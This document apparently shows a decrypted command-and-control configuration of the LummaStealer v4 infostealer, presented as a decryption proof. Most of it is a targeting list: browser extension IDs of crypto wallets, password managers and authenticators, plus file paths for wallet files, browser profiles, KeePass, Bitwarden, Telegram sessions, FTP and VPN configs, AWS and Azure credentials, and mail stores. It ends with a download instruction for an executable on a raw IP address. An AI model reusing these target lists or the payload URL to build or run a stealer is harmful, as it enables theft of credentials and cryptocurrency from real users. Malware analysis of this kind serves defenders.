LummaStealer v4 communication decryption proof

recive_message
{
    "v": 4,
    "se": true,
    "ad": false,
    "vm": false,
    "ex": [
        {
            "en": "ejbalbakoplchlghecdalmeeeajnimhm",
            "ez": "MetaMask"
        },
        {
            "en": "aeblfdkhhhdcdjpifhhbdiojplfjncoa",
            "ez": "1Password"
        },
        {
            "en": "jnlgamecbpmbajjfhmmmlhejkemejdma",
            "ez": "Braavos"
        },
        {
            "en": "dlcobpjiigpikoobohmabehhmhfoodbb",
            "ez": "Agrent X"
        },
        {
            "en": "jgaaimajipbpdogpdglhaphldakikgef",
            "ez": "Coinhub"
        },
        {
            "en": "fcfcfllfndlomdhbehjjcoimbgofdncg",
            "ez": "Leap Wallet"
        },
        {
            "en": "lgmpcpglpngdoalbgeoldeajfclnhafa",
            "ez": "Safepal"
        },
        {
            "en": "hdokiejnpimakedhajhdlcegeplioahd",
            "ez": "LastPass"
        },
        {
            "en": "kjmoohlgokccodicjjfebfomlbljgfhk",
            "ez": "Ronin Wallet"
        },
        {
            "en": "pioclpoplcdbaefihamjohnefbikjilc",
            "ez": "Evernote"
        },
        {
            "en": "dngmlblcodfobpdpecaadgfbcggfjfnm",
            "ez": "MultiversX Wallet"
        },
        {
            "en": "kppfdiipphfccemcignhifpjkapfbihd",
            "ez": "ForniterWallet"
        },
        {
            "en": "mmmjbcfofconkannjonfmjjajpllddbg",
            "ez": "Fluvi Wallet"
        },
        {
            "en": "loinekcabhlmhjjbocijdoimmejangoa",
            "ez": "Glass Wallet"
        },
        {
            "en": "heefohaffomkkkphnlpohglngmbcclhi",
            "ez": "Morphis Wallet"
        },
        {
            "en": "idnnbdplmphpflfnlkomgpfbpcgelopg",
            "ez": "XVerse Wallet"
        },
        {
            "en": "anokgmphncpekkhclmingpimjmcooifb",
            "ez": "Compas Wallet"
        },
        {
            "en": "cnncmdhjacpkmjmkcafchppbnpnhdmon",
            "ez": "Havah Wallet"
        },
        {
            "en": "ocjdpmoallmgmjbbogfiiaofphbjgchh",
            "ez": "Sui Wallet"
        },
        {
            "en": "ojggmchlghnjlapmfbnjholfjkiidbch",
            "ez": "Venom Wallet"
        },
        {
            "en": "nkbihfbeogaeaoehlefnkodbefgpgknn",
            "ez": "MetaMask"
        },
        {
            "en": "egjidjbpglichdcondbcbdnbeeppgdph",
            "ez": "Trust Wallet"
        },
        {
            "en": "ibnejdfjmmkpcnlpebklmnkoeoihofec",
            "ez": "TronLink"
        },
        {
            "en": "fnjhmkhhmkbjkkabndcnnogagogbneec",
            "ez": "Ronin Wallet"
        },
        {
            "en": "mcohilncbfahbmgdjkbpemcciiolgcge",
            "ez": "OKX"
        },
        {
            "en": "fhbohimaelbohpjbbldcngcnapndodjp",
            "ez": "Binance Chain Wallet"
        },
        {
            "en": "ffnbelfdoeiohenkjibnmadjiehjhajb",
            "ez": "Yoroi"
        },
        {
            "en": "jbdaocneiiinmjbjlgalhcelgbejmnid",
            "ez": "Nifty"
        },
        {
            "en": "afbcbjpbpfadlkmhmclhkeeodmamcflc",
            "ez": "Math"
        },
        {
            "en": "hnfanknocfeofbddgcijnmhnfnkdnaad",
            "ez": "Coinbase",
            "ldb": true
        },
        {
            "en": "hpglfhgfnhbgpjdenjgmdgoeiappafln",
            "ez": "Guarda"
        },
        {
            "en": "blnieiiffboillknjnepogjhkgnoapac",
            "ez": "EQUA"
        },
        {
            "en": "cjelfplplebdjjenllpjcblmjkfcffne",
            "ez": "Jaxx Liberty"
        },
        {
            "en": "fihkakfobkmkjojpchpfgcmhfjnmnfpi",
            "ez": "BitApp"
        },
        {
            "en": "kncchdigobghenbbaddojjnnaogfppfj",
            "ez": "iWlt"
        },
        {
            "en": "kkpllkodjeloidieedojogacfhpaihoh",
            "ez": "EnKrypt"
        },
        {
            "en": "amkmjjmmflddogmhpjloimipbofnfjih",
            "ez": "Wombat"
        },
        {
            "en": "nlbmnnijcnlegkjjpcfjclmcfggfefdm",
            "ez": "MEW CX"
        },
        {
            "en": "nanjmdknhkinifnkgdcggcfnhdaammmj",
            "ez": "Guild"
        },
        {
            "en": "nkddgncdjgjfcddamfgcmfnlhccnimig",
            "ez": "Saturn"
        },
        {
            "en": "cphhlgmgameodnhkjdmkpanlelnlohao",
            "ez": "NeoLine"
        },
        {
            "en": "nhnkbkgjikgcigadomkphalanndcapjk",
            "ez": "Clover"
        },
        {
            "en": "acmacodkjbdgmoleebolmdjonilkdbch",
            "ez": "Rabby"
        },
        {
            "en": "phkbamefinggmakgklpkljjmgibohnba",
            "ez": "Pontem"
        },
        {
            "en": "efbglgofoippbgcjepnhiblaibcnclgk",
            "ez": "Martian"
        },
        {
            "en": "nngceckbapebfimnlniiiahkandclblb",
            "ez": "Bitwarden"
        },
        {
            "en": "lpfcbjknijpeeillifnkikgncikgfhdo",
            "ez": "Nami"
        },
        {
            "en": "ejjladinnckdgjemekebdpeokbikhfci",
            "ez": "Petra"
        },
        {
            "en": "opcgpfmipidbgpenhmajoajpbobppdil",
            "ez": "Sui"
        },
        {
            "en": "aholpfdialjgjfhomihkjbmgjidlcdno",
            "ez": "ExodusWeb3"
        },
        {
            "en": "onhogfjeacnfoofkfgppdlbmlmnplgbn",
            "ez": "Sub"
        },
        {
            "en": "mopnmbcafieddcagagdcbnhejhlodfdd",
            "ez": "PolkadotJS"
        },
        {
            "en": "fijngjgcjhjmmpcmkeiomlglpeiijkld",
            "ez": "Talisman"
        },
        {
            "en": "hifafgmccdpekplomjjkcfgodnhcellj",
            "ez": "CryptoCom"
        },
        {
            "en": "kpfopkelmapcoipemfendmdcghnegimn",
            "ez": "Liquality"
        },
        {
            "en": "aiifbnbfobpmeekipheeijimdpnlpgpp",
            "ez": "Terra Station"
        },
        {
            "en": "dmkamcknogkgcdfhhbddcghachkejeap",
            "ez": "Keplr"
        },
        {
            "en": "fhmfendgdocmcbmfikdcogofphimnkno",
            "ez": "Sollet"
        },
        {
            "en": "cnmamaachppnkjgnildpdmkaakejnhae",
            "ez": "Auro"
        },
        {
            "en": "jojhfeoedkpkglbfimdfabpdfjaoolaf",
            "ez": "Polymesh"
        },
        {
            "en": "flpiciilemghbmfalicajoolhkkenfe",
            "ez": "ICONex"
        },
        {
            "en": "nknhiehlklippafakaeklbeglecifhad",
            "ez": "Nabox"
        },
        {
            "en": "hcflpincpppdclinealmandijcmnkbgn",
            "ez": "KHC"
        },
        {
            "en": "ookjlbkiijinhpmnjffcofjonbfbgaoc",
            "ez": "Temple"
        },
        {
            "en": "mnfifefkajgofkcjkemidiaecocnkjeh",
            "ez": "TezBox"
        },
        {
            "en": "lodccjjbdhfakaekdiahmedfbieldgik",
            "ez": "DAppPlay"
        },
        {
            "en": "ijmpgkjfkbfhoebgogflfebnmejmfbm",
            "ez": "BitClip"
        },
        {
            "en": "lkcjlnjfpbikmcmbachjpdbijejflpcm",
            "ez": "Steem Keychain"
        },
        {
            "en": "onofpnbbkehpmmoabgpcpmigafmmnjh",
            "ez": "Nash Extension"
        },
        {
            "en": "bcopgchhojmggmffilplmbdicgaihlkp",
            "ez": "Hycon Lite Client"
        },
        {
            "en": "klnaejjgbibmhlephnhpmaofohgkpgkd",
            "ez": "ZilPay"
        },
        {
            "en": "aeachknmefphepccionboohckonoeemg",
            "ez": "Coin98"
        },
        {
            "en": "bhghoamapcdpbohphigoooaddinpkbai",
            "ez": "Authenticator",
            "ses": true
        },
        {
            "en": "dkdedlpgdmmkkfjabffeganieamfklkm",
            "ez": "Cyano"
        },
        {
            "en": "nlgbhdfgdhgbiamfdfmbikcdghidoadd",
            "ez": "Byone"
        },
        {
            "en": "infeboajgfhgbjpjbeppbkgnabfdkdaf",
            "ez": "OneKey"
        },
        {
            "en": "cihmoadaighcejopammfbmddcmdekcje",
            "ez": "Leaf"
        },
        {
            "en": "bhhhlbepdkbapadjdnnojkbgioiodbic",
            "ez": "Solflare"
        },
        {
            "en": "mkpegjkblkkefacfnmkajcjmabijhclg",
            "ez": "Magic Eden"
        },
        {
            "en": "aflkmfhebedbjioipglgcbcmnbpgliof",
            "ez": "Backpack"
        },
        {
            "en": "gaedmjdfmmahhbjefcbgaolhhanlaolb",
            "ez": "Authy"
        },
        {
            "en": "oeljdldpnmdbchonielidgobddfffla",
            "ez": "EOS Authenticator",
            "ses": true
        },
        {
            "en": "ilgcnhelpchnceeipipijaljkblbcob",
            "ez": "GAuth Authenticator",
            "ses": true
        },
        {
            "en": "imloifkgjagghnncjkhggdhalmcnfklk",
            "ez": "Trezor Password Manager"
        },
        {
            "en": "bfnaelmomeimhlpmgjnjophhpkkoljpa",
            "ez": "Phantom"
        },
        {
            "en": "ppbibelpcjmhbdihakflkdcoccbgbkpo",
            "ez": "UniSat"
        },
        {
            "en": "cpojfbodiccabbabgimdeohkkpjfpbnf",
            "ez": "Rainbow"
        },
        {
            "en": "jiidiaalihmmhddjgbnbgdfflelocpak",
            "ez": "Bitget Wallet"
        }
    ],
    "mx": [
        {
            "en": "webextension@metamask.io",
            "ez": "MetaMask",
            "et": "\"params\":{\"iterations\":600000}"
        }
    ],
    "c": [
        {
            "t": 0,
            "p": "%appdata%\\Ethereum",
            "m": [
                "keystore"
            ],
            "z": "Wallets/Ethereum",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Exodus\\exodus.wallet",
            "m": [
                "*"
            ],
            "z": "Wallets/Exodus",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Ledger Live",
            "m": [
                "*"
            ],
            "z": "Wallets/Ledger Live",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\atomic\\Local Storage\\leveldb",
            "m": [
                "*"
            ],
            "z": "Wallets/Atomic",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\Coinomi\\Coinomi\\wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/Coinomi",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Authy Desktop\\Local Storage\\leveldb",
            "m": [
                "*"
            ],
            "z": "Wallets/Authy Desktop",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Bitcoin\\wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/Bitcoin core",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Binance",
            "m": [
                "app-store.json",
                ".finger-print.fp",
                "simple-storage.json",
                "window-state.json"
            ],
            "z": "Wallets/Binance",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\com.liberty.jaxx\\IndexedDB",
            "m": [
                "*"
            ],
            "z": "Wallets/JAXX New Version",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Electrum\\wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/Electrum",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Electrum-LTC\\wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/Electrum-LTC",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\ElectronCash\\wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/ElectronCash",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Guarda\\IndexedDB",
            "m": [
                "*"
            ],
            "z": "Wallets/Guarda",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\DashCore\\wallets",
            "m": [
                "*.dat"
            ],
            "z": "Wallets/DashCore",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\WalletWasabi\\Client\\Wallets",
            "m": [
                "*"
            ],
            "z": "Wallets/Wasabi",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Daedalus Mainnet\\wallets",
            "m": [
                "she.*.sqlite"
            ],
            "z": "Wallets/Daedalus",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 1,
            "p": "%localappdata%\\Google\\Chrome\\User Data",
            "z": "Chrome",
            "f": "Google Chrome",
            "n": "chrome.exe",
            "l": "chrome.dll"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Google\\Chrome Beta\\User Data",
            "z": "Chrome Beta",
            "f": "Google Chrome Beta",
            "n": "chrome.exe",
            "l": "chrome.dll"
        },
        {
            "t": 1,
            "p": "%appdata%\\Opera Software\\Opera Stable",
            "z": "Opera"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Opera Software\\Opera Neon\\User Data",
            "z": "Opera Neon"
        },
        {
            "t": 1,
            "p": "%appdata%\\Opera Software\\Opera GX Stable",
            "z": "Opera GX Stable"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Microsoft\\Edge\\User Data",
            "z": "Edge",
            "f": "Microsoft Edge",
            "n": "msedge.exe",
            "l": "msedge.dll"
        },
        {
            "t": 1,
            "p": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data",
            "z": "Brave",
            "f": "BraveSoftware Brave-Browser",
            "n": "brave.exe",
            "l": "chrome.dll"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Epic Privacy Browser\\User Data",
            "z": "EpicPrivacyBrowser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Vivaldi\\User Data",
            "z": "Vivaldi"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Maxthon\\User Data",
            "z": "Maxthon"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Iridium\\User Data",
            "z": "Iridium"
        },
        {
            "t": 1,
            "p": "%localappdata%\\AVG\\Browser\\User Data",
            "z": "AVG Secure Browser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Tencent\\QQBrowser\\User Data",
            "z": "QQBrowser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\360Browser\\Browser\\User Data",
            "z": "360Browser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\SuperBrowser\\User Data\\BrowserWorkbench_1",
            "z": "ZiNiao Browser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\CentBrowser\\User Data",
            "z": "CentBrowser"
        },
        {
            "t": 1,
            "p": "%localappdata%\\Chedot\\User Data",
            "z": "Chedot"
        },
        {
            "t": 1,
            "p": "%localappdata%\\CocCoc\\Browser\\User Data",
            "z": "CocCoc"
        },
        {
            "t": 2,
            "p": "%appdata%\\Mozilla\\Firefox\\Profiles",
            "z": "Mozilla Firefox"
        },
        {
            "t": 2,
            "p": "%appdata%\\Waterfox\\Profiles",
            "z": "Waterfox"
        },
        {
            "t": 2,
            "p": "%appdata%\\Moonchild Productions\\Pale Moon\\Profiles",
            "z": "Pale Moon"
        },
        {
            "t": 0,
            "p": "%userprofile%",
            "m": [
                "*.kbdx"
            ],
            "z": "Applications/KeePass",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\1Password",
            "m": [
                "*.sqlite*"
            ],
            "z": "Applications/1Password",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Bitwarden",
            "m": [
                "data.json"
            ],
            "z": "Applications/Bitwarden",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\NordPass",
            "m": [
                "nordpass*.json",
                "nordpass*.sqlite"
            ],
            "z": "Applications/NordPass",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%userprofile%",
            "m": [
                "*seed*",
                "*pass*",
                "*ledger*",
                "*trezor*",
                "*metamask*",
                "*bitcoin*",
                "*words*",
                "*wallet*"
            ],
            "z": "Important Files/Profile",
            "d": 3,
            "fs": 1048576
        },
        {
            "t": 0,
            "p": "%userprofile%\\Desktop",
            "m": [
                "*.txt"
            ],
            "z": "Important Files/Desktop",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Telegram Desktop",
            "m": [
                "*s"
            ],
            "z": "Applications/Telegram",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%programfiles%\\Telegram Desktop",
            "m": [
                "*s"
            ],
            "z": "Applications/Telegram",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%programfiles(x86)%\\Telegram Desktop",
            "m": [
                "*s"
            ],
            "z": "Applications/Telegram",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\Packages\\TelegramMessengerLLP.TelegramDesktop_t4vj0pshhgkwm\\LocalCache\\Roaming\\Telegram Desktop UWP",
            "m": [
                "*s"
            ],
            "z": "Applications/Telegram UWP",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\FileZilla",
            "m": [
                "recentservers.xml",
                "sitemanager.xml"
            ],
            "z": "Applications/FileZilla",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\GHISLER",
            "m": [
                "wcx_ftp.ini"
            ],
            "z": "Applications/TotalCommander",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%userprofile%",
            "m": [
                "site.xml"
            ],
            "z": "Applications/AnyClient",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%programdata%\\SiteDesigner\\3D-FTP",
            "m": [
                "sites.ini"
            ],
            "z": "Applications/3D-FTP",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\SmartFTP\\Client 2.0\\Favorites",
            "m": [
                "*"
            ],
            "z": "Applications/SmartFTP",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\FTPGetter",
            "m": [
                "servers.xml"
            ],
            "z": "Applications/FTPGetter",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\FTPbox",
            "m": [
                "profiles.conf"
            ],
            "z": "Applications/FTPbox",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\FTPInfo",
            "m": [
                "ServerList.xml"
            ],
            "z": "Applications/FTPInfo",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\FTPRush",
            "m": [
                "RushSite.xml"
            ],
            "z": "Applications/FTPRush",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%programfiles(x86)%\\FTP Commander Deluxe",
            "m": [
                "FTPLIST.TXT"
            ],
            "z": "Applications/FTP Commander Deluxe",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\DeskShare Data\\FTP Manager Lite",
            "m": [
                "FTPManagerLiteSettings.db"
            ],
            "z": "Applications/FTP Manager Lite",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\DeskShare Data\\Auto FTP Manager",
            "m": [
                "AutoFTPManagerSettings.db"
            ],
            "z": "Applications/Auto FTP Manager",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\OpenVPN Connect",
            "m": [
                "config.json",
                "*.ovpn"
            ],
            "z": "Applications/OpenVPN",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\NordVPN\\NordVPN.exe_Path_5foiwug0gwlftdgafkj0xqqcuqqyshwn",
            "m": [
                "user.config"
            ],
            "z": "Applications/NordVPN",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\ProtonVPN\\ProtonVPN_Url_cmnccr2xp2ofmvhglly0haihuyzzqh0i",
            "m": [
                "user.config"
            ],
            "z": "Applications/ProtonVPN",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\AnyDesk",
            "m": [
                "*.conf"
            ],
            "z": "Applications/AnyDesk",
            "d": 2,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%userprofile%\\.azure",
            "m": [
                "*"
            ],
            "z": "Applications/Azure",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%userprofile%\\.aws",
            "m": [
                "*"
            ],
            "z": "Applications/Azure",
            "d": 1,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\.IdentityService",
            "m": [
                "msal.cache",
                "msalv2.cache"
            ],
            "z": "Applications/Azure",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState",
            "m": [
                "plum.sqlite-wal"
            ],
            "z": "Notes",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\Conceptworld\\Notezilla",
            "m": [
                "Notes9.db"
            ],
            "z": "Notes/Notezilla",
            "d": 0,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\The Bat!",
            "m": [
                "*.TBB",
                "*.TBN",
                "*.MSG",
                "*.EML",
                "*.MSB",
                "*.mbox",
                "*.ABD",
                "*.FLX",
                "*.TBK",
                "*.HBI",
                "*.txt"
            ],
            "z": "Mail Clients/TheBat",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "C:\\PMAIL",
            "m": [
                "*.CNM",
                "*.PMF",
                "*.PMN",
                "*.PML",
                "*CACHE.PM",
                "*.WPM",
                "*.PM",
                "*.USR"
            ],
            "z": "Mail Clients/Pegasus",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%localappdata%\\Mailbird\\Store",
            "m": [
                "*.db"
            ],
            "z": "Mail Clients/Mailbird",
            "d": 3,
            "fs": 20971520
        },
        {
            "t": 0,
            "p": "%appdata%\\eM Client",
            "m": [
                "*.dat",
                "*.dat-shm",
                "*.dat-wal",
                "*.eml"
            ],
            "z": "Mail Clients/EmClient",
            "d": 3,
            "fs": 20971520
        }
    ]
}
--------------------------------------------------
get_message
[
    {
        "u": "http://147.45.47.81/conhost.exe",
        "ft": 0,
        "e": 0
    }
]
--------------------------------------------------